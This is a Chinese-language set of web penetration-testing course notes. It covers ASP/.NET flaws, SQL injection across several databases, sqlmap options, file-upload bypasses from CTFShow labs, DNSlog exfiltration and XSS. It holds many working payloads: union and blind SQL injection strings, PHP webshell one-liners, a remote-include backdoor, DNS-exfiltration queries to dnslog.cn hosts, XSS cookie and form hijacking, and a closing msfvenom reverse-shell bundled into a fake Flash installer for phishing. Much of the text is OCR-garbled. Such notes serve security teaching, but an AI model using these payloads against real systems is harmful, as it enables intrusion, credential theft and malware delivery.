#知识点:
1、ASP环境搭建组合 asp 很少很少见了
windows iis asp access (sqlserver)
2、ASP数据库下载&植入
3、S-短文件&解析&写权限
WEB安全攻防:
1、Web源码
2、开发语言
3、中间件平台
4、数据库类型
4、第三方插件或软件
演示案例:
ASP-数据库-MDB默认下载
ASP-数据库-ASP后门植入连接
ASP-中间件-IS短文件名探针-安全漏洞
ASP-中间件-IIS文件上传解析-安全漏洞
ASP-中间件-IIS配置目录读写-安全配置
#知识点: C#语言
1、.NET配置调试-信息泄露
2、.NET源码反编译-DLL反编译
3、.NET常见安全问题-未授权访问
演示案例:
.NET项目-DLL文件反编译指向-代码特性
.NET项目-Web.config错误调试-信息泄露
.NET项目-身份验证未授权访问-安全漏洞
#详细点:
=与==
md5
md5 判断不了数组类型 为null
intval php函数
strpos
in_array
preg_match
str_replace
#知识点:
1、原生S&开发框架安全条件
2、常见安全问题-前端验证&未授权
#详细点:
1、什么是JS渗透测试?
在lavascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞
JS开发的WEB应用和PHP,JAVA,NET等区别在于即使没有源代码,也可以通过浏览器的查看源代码获取真实的点。所以相当于JS开发的WEB应用属于白盒测试(默认有源码参考)
2、流行的Js框架有那些?
3、如何判定S开发应用?
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js等顺序的js文件
cookie中有connect.sid
4、如何获取更多的JS文件?
JsFinder
Packer-Fuzzer
扫描器后缀替换字典
5、如何快速获取价值代码?
method:“get”
http.get("
method:“post”
http.post("
$.ajax
service.httppost
service.httpget
演示案例:
安全条件-可控变量&特定函数
开发框架-Vulhub-Node.JS安全
真实应用-APP应用直接重置密码
真实应用-违法彩彩文件上传安全
数据库使用脚本代码进行连接
2、Access数据库注入-简易&偏移
3、YSQL数据库注入-简易&权限跨库
#前置知识:
SQL注入漏洞产生原理分析
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行
页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通
过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实
现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过
程就可以叫做SQL注入漏洞。
SQL注入漏洞危害利用分析
执行SQL语句能执行的操作
数据库中的敏感数据,如管理员帐号密码
脚本代码与数据库操作流程
数据库名,表名,列名,数据
数据库类型,数据库用户,用户权限
演示案例:
ASP+Access-简易注入-字典猜解
ASP+Access-偏移注入-报错显示
PHP+MYSQL-简易注入-存储特性
PHP+MYSQL-跨库注入-权限属性
漏洞产生根本条件:可控变量特定函数
http://192.168.46.160:85/Production/PRODUCT.asp #参数可能从其他方面传输 network 包里面
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513 #参数
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1 #两个参数都要测试
如果下面的UrL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
Production/PRODUCT…asp?id=1513注入语句&page=1对
Production/,PRODUCT.asp?id=1513&page=1注入语句错
select from product where id=1513
select from product where id=1513
查询admin表名:
UNlOn select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询admin表名下的admin等列名
UNl0 N select1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
SQL注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路
ACCESS 独立存在
数据库名
表名
列名
数据
MYSQL 统一管理
最高数据库用户=root用户
数据库A 对应 网站A 对应 数据库用户A
表名
列名
数据
数据库B = 网站B = 数据库用户B
数据库C = 网站C = 数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
黑盒测试中可以采用user(); 获取当前用户权限,白盒中看连接用户即可!
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
table_schema=‘syguestbook’ 数据库名
获取相关数据:
1、数据库版本-看是否符合information_schema查询 -version() 0-5.5.532
2、数据库用户-看是否符合ROOT型注入攻击-user() -root@localhost
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_.os -win
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取syguestbook数据库下面的表名信息:
UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=‘syguestbook’
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser’and table_schema=‘syguestbook’
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名hcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table schema=‘xhcms’
获取数据库名hcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table name='manage’and table schema=‘xhcms’
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
#ASP+Access-简易注入-字典猜解
由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名
或列名猜解不到,可以自定义社工字典或采用偏移注入!
借助hackbar
#ASP+Access-偏移注入-报错显示
偏移注入就是解决表名己知,列名未知的情况!
#PHP+MYSQL-简易注入-存储特性
#PHP+MYSQL-跨库注入-权限属性
国外网站 base64编码
#知识点:
1、SQL注入-MYSOL数据库
2、SQL注入-MSSOL数据库
3、SQL注入-PostgreSQL数据库
#详细点:
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSOL高权限注入点-可升级读写执行等
演示案例:
MYSOL-root高权限读写注入
读文件
写文件
知道绝对路径 读取网站关键配置文件
MySQL loadfile 读取哪些关键文件 百度load_file 路径
inurl:phpinfo
PostgreSQL-高权限读写注入
MSSQL-Sa高权限读写执行注入
结尾彩蛋-某Q牌违法登陆框注入
#MYSOL-root高权限读写注入
-读取文件:
UNION SELECT
1,1 oad fi1e('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
-写入文件:
UNI0 N SELECT1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,171nto
outfile 'd:/www.txt'
-路径获取:phpinfo,报错,字典猜解等
-无法写入:secure_file_priv突破
secure_file_priv 限制固定操作路径
注入中需要支持SQL执行环境,没有就需要借助phpmyadmin
或能够直接连上对方数据库进行绕过
set global slow query log=1; #开启日志记录
setg1oba1s1ow_query_1 og_file='she11路径'; #设置日志记录路径
select 'or SLEEP (1); # 执行一句话
#PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,nullE
and 1=2 union select null,null,'null',null
and 1=2 union select null,null,null,'null'
-获取信息:
and 1=2 UNION SELECT null,version ()null,null #版本
and 1=2 UNION SELECT null,current_user,null,null #当前用户
and 1=2 union select null,current_database ()null,null # 当前数据库
-获取数据库名:
and 1=2 union select null,string agg (datname,,),null,null from
pg database
-获取表名:
1 and 1=2 union select null,string agg(tablename,','),null,null
from pg tables where schemaname='public'
2 and 1=2 union select null,string agg(relname,,),null,null
from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string agg(column name,','),null,null
from information schema.columns where table name='reg users'
获取数据:
and 1=2 union select null,string agg(name,',),string agg(password,,'),null from reg_users
补充获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null.null FROM pg_user WHERE usesu
参考:htps/www.freebuf..com/sectool/249371.html
set global slow query log=1; #开启日志记录 利用日志记录功能
setg1oba1s1ow_query_1 og_file=‘she11路径’; #设置日志记录路径
select 'or SLEEP (1); # 执行一句话
#MSSQL-sa高权限读写执行注入
测列数:
order by 4
and 1=2 union all select null.null.null.null
测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null.null,'s'.null
获取信息:
@@version获取版本信息
db name(0当前数据库名字
user、system_user,current_user,.user name获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db name(),null,null
获取表名:
and 1=2 union all select null,(select top 1 namefrom mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'and name not in ('manage)),null,null
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1)from sysobjec
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2)from sysobjec
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3)from sysobjec
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4)from sysobjec
获取数据:
and 1=2 union all select null,username,password,null from manage
#知识点:
1、数据库注入-Oracle&Mongodb
2、数据库注入-DB2&SQLite&Sybase
3、SQL注入神器-SOLMAP安装使用拓展
#SOLMAP
什么是SOLMAP? 注入 ,注入点检测
-它支持那些数据库注入?
基本上都支持 nosql这款数据库不支持
-它支持那些SQ工注入模式?
sqlmap.org 官方文档
一它支特那些其他不一样功能?
代理注入:可以解决部分waf 拒绝请求 速度等
tamper脚本 可以解决部分绕过编码等
-使用SOLMAP一般注入流程分析?
判断注入点
判断数据库类型
存不存在高低权限
看库看权限
#SQL注入课程体系:
1.数据库注入
access mysql mssql oracle mongodb postgresql
2.数据类型注入-数字型字符型搜索型加密型(base64json)等
3.提交方式注入-get post cookie http头等
4.查询方式注入-查询增加删除更新堆叠等
5.复杂注入利用-二次注入dnslog注入绕过bypass等
演示案例:
数据库注入-联合猜解-Oracle&Mongodb
数据库注入-SQLMAP-DB2&SQLite&Sybase
数据库注入-SOLMAP-数据猜解&高权限读写执行
有的需要登陆后的注入 sqlmap -u 无法请求到地址
所以要用-r 数据包 注入
#Oracle
参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测回显:and1=2 union select'1','2'from dua1
爆库:and1=2 union select'1',(select table name from user._tables
where rownum=1)from dual
模糊爆库:and1=2 union select'1',(select table_name from
user tables where rownum=1 and table name like 'Suser$)from
dual
爆列名:and1=2 union select'1',(select column_name from
all tab columns where rownum=1 and table name='sns users')from
dual
爆其他列名:and1=2 union select'1',(select column_name from
all tab columns where rownum=1 and table name='sns users'and
column name not in ('USER NAME))from dual
爆数据:andl=2 union select user name,user pwd from"sns_users"
爆其他数据:andl=2 union select user name,user_pwd from
"sns users"where USER NAME<>'hu'
#Mongodb看代码
参考:https://www.runoob.com/mongodb/mongodb-query.html
测回显:/new1ist.php?id=1'});return({title:1,content:'2
爆库:/new list.php?id=1'});return
({title:tojson (db),content:'1
爆表:/new list.php?id=1'});return
({title:tojson (db.getCollectionNames ())content:'1
爆字段:/new list.php?id=1'});return
((title:tojson (db.Authority confidential.find()[0]),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority confidential是当前用的集合(表),find函数用于查询,0是第
一条数据
#SOLMAP使用
1、判断数据库注入点
2、判断注入点权限
-sqlmap数据库注入数据猜解
-sqlmap高权限注入读写执行
-sqlmao高权限注入联动MSF
#SQLMAP使用参数:
参考:
基本操作笔记:u#注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2-p"page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--purge #清除缓存
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
#知识点:
1、数据表现格式类型注入
2、字符转义绕过-宽字节注入
3、数字&字符&搜索&编码&加密等
#参考资料:
https://www.cnblogs.com/bmjoker/p/9326258.html
扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也测不出来,具体
还是需要人工的去观察,进行工具的修改或加载插件再次探针才可以。
#SQ工注入课程体系:
1.数据库注入
access mysql mssql oracle mongodb postgresql
2.数据类型注入-数字型字符型搜索型加密型(base64json)等
3.提交方式注入-get post cookie http头等
4.查询方式注入-查询增加删除更新堆叠等
5.复杂注入利用-二次注入dns1og注入绕过bypass等
演示案例:
本地源码-数字&字符&搜索&编码&]SON
墨者靶场-字符转义处理防护-宽字节注入
宽字节 中文/乱码 两个字节
数字字母一个字节 有时乱码两个字节会把一个/ 占用导致/没有出现
%df 是中文的一个乱码 占用两个字节 把后面的\占用了
因为有函数magicquotes或魔术引号开关 会对输入的 ’ ”\ 等进行转义 payload 里面要使用到单引号 所以宽字节 两个字符把转义符\给占用
直接sqlmap跑跑不出来加 --tamper=base64encode.py
#知识点:
1、数据诗求方式-GET&POST&COOKIE等
2、常见功彭点请求方式-用户登录&P记录等
3、黑盖白盖注入测要点-SQLMAP注入参数
补充点:
黑盒测试:功能点分析
白盒测试:功能点分析&关接代码追踪
1.数括库注入-access mysql mssql oracle mongodb p0 stgresql等
2.数后类型注入-数字型字符型搜卖型加密型(baSe64s0n)等
3.提交方式注入-get post cookie http头等
4查询方式注入-查询增加册除更新堆委等
5.复杂注入利用-二次注入dnslog注入绕过bypassa等
演示案例:
xff记录IP
培部分语言接受代码块
<?php
header("Content-Type:text/html;charset=utf-8");
Sget=$_GET['g']:
Spost=$_POSTI'p]:
Scookie=$_COOKIE[c'];
Srequest=$REQUEST['r]: #全部接收
Shost=$_SERVER[HTTP HOST]; #当前访问url地址 server接收用户的环境变量
Suser_agent=$_SERVER["HTTP_USER_AGENT"]: #浏览器信息
Sip=$_SERVER["HTTP_X_FORWARDED_FOR"]; #8.8.8.8
echo Sget."
"
echo Spost."
";
echo Scookie."
".
echo Srequest."
";
echo Shost."
"
echo Suser agent."
":
echo Sip;
?>
Java Spring不同框架,不同写法
method=RequestMethod.GET
method=RequestMethod.POST
request..getParameter("参数名"),
可以直接获取get请求的参数key对应的value
也可以从请求体中获取参数的key对应的value
Python flask不同框架,不同写法
requests.get
requests.post
request args.get(key)
request form.get(key)
request.values.get(key)
#知识点:
1、明确查询方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL盲注延时&布尔&报错
#详细点:
盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
-基于布尔的SQ江盲注-逻辑判断
regexp, like, ascii, left, ord,mid
-基于时间的SQ工盲注-延时判断
if, sleep
-基于报错的SQL盲注-报错回显
floor, updatexml ,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #SQ工语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),l),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
SQL查询方式注入
select,insert,update,delete,orderby
基本知识本地测试
select from member where username like ‘vis;
select from member where username regexp x’;
select from member where id=1 and sleep(1);
select from member where id=1 and if(1>2,sleep(1),0);
select from member where id=1 and if(1<2,sleep(1),0);
select from member where id=1 and length(database())=7;
演示案例:
#SQ工-盲注&布尔&报错&延时
PHP开发项日-输出结果&开启报错
基于延时:都不需要
/blog/news.php?id=1 and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
/blog/news.php?id=1 and length (database())=7
基于报错:有数据库报错处理判断标准
/blog/news.php?id=2 and updatexml(1,concat (0x7e,(SELECT
@@version),0x7e),1)
知识点:
1、查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要采用盲注才能正常得到结果(黑盒测试可以根据功能判断注入查询方式)
2、查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)
#知识点:
1、数据库堆叠注入 堆叠注入不一定能成功 网页上执行成功了 数据库里面不一定能成功 就看网站代码怎么处理
根据数据库类型决定是否支持多条语句执行 支持数据库 MYSQL MSSQL Oracle Postgresql
2、数据库二次注入
应用功能逻辑涉及上导致的先写入后组合的注入
3、数据库Dnslog注入
解决不回显(反向连接),SQL注入,命令执行,SSRF等
4、黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没太大利用价值,其他还行
演示案例:
#二次注入-74CMS&网鼎杯2018 Unfinish
cTF-[网鼎杯2018]Unfinish-黑盒
CMS-74CMS个人会员中心-黑白盒
#堆叠注入-数据库类型&强网杯2019随便注
根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL Oracle Postgresql等
'show databases;
'show tables;
';show co.1 umns from`1919810931114514`;
':se1ectf1 ag from`1919810931114514`:
SeT
ga=0x73656c656374202a2066726f6d2060313931393831303933313131343531
3460;prepare execsql from @a;execute execsql;
MySQL 可以识别16进制编码
#DNS利用-平台介绍&SQL注入&命令执行等
1.平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2.应用场景:
解决不回显,反向连接,SQ工注入,命令执行,SSRF等
SQL注入:
select load file(concat(\\',(select
database ()),'7logee.dnslog.cn\aa'));
and (select load file(concat ('//',(select
database ()),'69kn19.dnslog.cn/abc')))
命令执行:
ping号JSERNAME号.71ogee.dnslog.cn
#知识点:
1、文件上传-前端验证 查看修改前端 代码
2、文件上传-黑白名单
3、文件上传-.user.ini妙用 .user.ini nginx专有 .access apache 专有
上传 .user.ini user.ini 里面的东西包含上传的文件
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
演示案例:
CTFSHOW-文件上传-151到161关卡
151 152-JS验证+MIME
Content-Type:image/png
153-JS验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
user.ini:auto prepend file=test.png
test.png:<?php eval($POST[x]);?>
154 155-J9验证+user.ini+短标签 过滤了 <?php
<?echo'123',?> //前提是开启配置参数short open tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo'123';号> //前提是开启配置参数asp tags=on
<script language="php">echo '1';</script> //不需要修改参数开关
user.ini:auto prepend file=test.png
test.png:<?=eval($POST[x]);?
157 158 159 JS验证+user.ini+短标签+过滤
使用反引号运算符的效果与函数she11_exec()相同
user.ini:auto prepend file=test.png
test.png:<?=system('tac ../fl*)?
test.png:<echo tac /var/www/html/f*?>
160 JS验证+user.ini+短标签+过滤
包含默认日志,日志记录UA头,UA头写后门代码 nginx ;记录日志 日志里面包含访问信息的ua头
user.ini:auto prepend file=test.png
test.png:<?=include"/var/1o"."g/nginx/access.1o"."g"?>
161 JS验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
user.ini:GIF89A auto prepend file=test.png
test.png:GIF89A <?=include"/var/1o"."g/nginx/access.1o"."g"?>
#知识点:
1、文件上传-二次渲染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-cTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还
.user.ini&.htaccess
文件二次渲染:
1、判断上传前和上传后的文件大小及内容
2、判断上传后的文件返回数据包内容
162 突破.过滤
过滤 · () {} ;等
利用远程包含IP转换地址后门调用执行
user.ini auto_prepend_file=png 上传 .user.ini 包含png
再上传 phg文件内容为 远程包含地址 远程地址网页里面有后门
png=inc1ude’http://794750069/'>
https://www.bejson.com/convert/ip2int/
hackbar post提交
163突破上传删除
过滤 . () {} ;等同时文件被删除
直接利用.user.ini包含远程
auto prepend file=http://794750069/
auto prepend file=http://794750069/
165 png二次渲染
1、先上传png正常,返回包发现渲染
2、上传png渲染后保存,生成带代码图片
调用执行:php jpg.php1.jpg
166 zip调用包含
直接上传zip后修改代码
167.htaccess妙用
.htaccess默认不支持nginx,设置后支持
.htaccess可以通过设置实现文件解析配置
将.png后缀的文件解析成php
AddType application/x-httpd-php png
将.png后缀的文件解析成php
168免杀后门
上传 index.php 内容随意
上传.user.ini包含日志:auto prepend file=/var/1oa/nginx/access.1og
#知识点:
1、中间件安全问题
2、中间件文件上传解析
3、Web应用编辑器上传
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-cTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:pg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还
.user.ini&.htaccess
演示案例:
中间件文件解析-llS&Apache&Nginx
Web应用编辑器-Ueditor文件上传安全
实例CS&平台-中间件解析&编辑器引用
#中间件文件解析-IIS&Apache&Nginx
-IIS 6 7 文件名目录名
1、文件名:x.asp; .x.jpg
2、日录名:x.asp/x.jpg
3、IIS7.X与Nginx解析漏洞一致
-Apache 换行解析配置不当
1、换行解析-cVE-2017-15715
其2.4.0~2.4.29版本中存在一个解析漏洞
2、配置不当-.htaccess配置不当
AddHandler application/x-httpd-php php
-Nginx :文件名逻辑解析漏洞
1、文件名逻辑-CVE-2013-4547
影响版本:Nginx0.8.411.4.3/1.5.01.5.7
2、解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
#web应用编辑器-Ueditor文件上传安全
#实例CMS&平台-中间件解析&编辑器引用
1、中间件配置不当导致文件被恶意解析
2、CMS源码引用外部编辑器实现文件上传
#知识点:
1、白盒审计三要素
2、黑盒审计四要素
3、白黑测试流程思路
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MTME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-cTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#白盒审计-Finecms-代码常规-处理逻辑
黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
#白盒审计-CuppaCms-中间件-.htaccess
黑盒思路:存在文件管理上传改名突破,访问后在突破
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
#白盒审计-Metinfo-编辑器引用-第三方安全
黑盒思路:探针目录利用编辑器漏洞验证测试
审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证
#文件上传:
黑盒:寻找一切存在文件上传的功能应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是否存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址
白盒:看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键字
#知识点:
1、XSS跨站-原理&攻击&分类等
2、XSS跨站-反射型&存储型&DOM型等
3、XSS跨站-攻击手法&劫持&盗取凭据等
4、XSS跨站-攻击项目&XSS平台&Beef-XSS
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
2、分类
反射型(非持久型) 一次性的
存储型(持久型) 存到数据库
DOM型 输入输出都由前端完成
mXSS (突变型Xss)
UXSS(通用型xss)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号;
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等:
强制弹出广告页面、刷流量等;
网页挂马
进行恶意操作,如任意算改页面信息、别除文章等:
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实即、开放端口等:
控制受害者机器向其他网站发起攻击:
结合其他漏洞,如cSrf,实施进一步危害;
提升用户权限,包括进一步渗透网站:
传播跨站脚本蠕虫等
4、修复
见绕过课程对比参考
#XSS跨站系列内容:
1、XSS跨站-原理&分类&手法
2、XSS跨站-探针&利用&审计
3、XSS跨站-另类攻击手法利用
4、XSS跨站-防御修复&绕过策略
演示案例:
XSS跨站-原理&分类&手法&探针
反射型实例-UA查询平台数据输
存储型实例-订单系统CMS权限获取
DOM型实例-EmpireCMS前端页面审计
XSS利用环境-XSS平台&Beef-XSS项目
演示案例
XSS-后台植入Cookie&表单劫持
XSS-Flash钓鱼配合MSF捆绑上线
·XSS-浏览器网马配合MSF访问上线
#XSS-后台植入Cookie&表单劫持
-条件:己取得相关web权限后
1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限
维持
2、若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实
现
#XSS-F1ash钓鱼配合MSF捆绑上线
-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)
1、生成后门
msfvenom -p windows/meterpreter/reverse tcp LHOST=xx.xx.xx.xx
LPORT=6666 -f exe flash.exe
2、下载官方文件-保证安装正常
3、压缩捆绑文件-解压提取运行
4、MSF配置监听状态
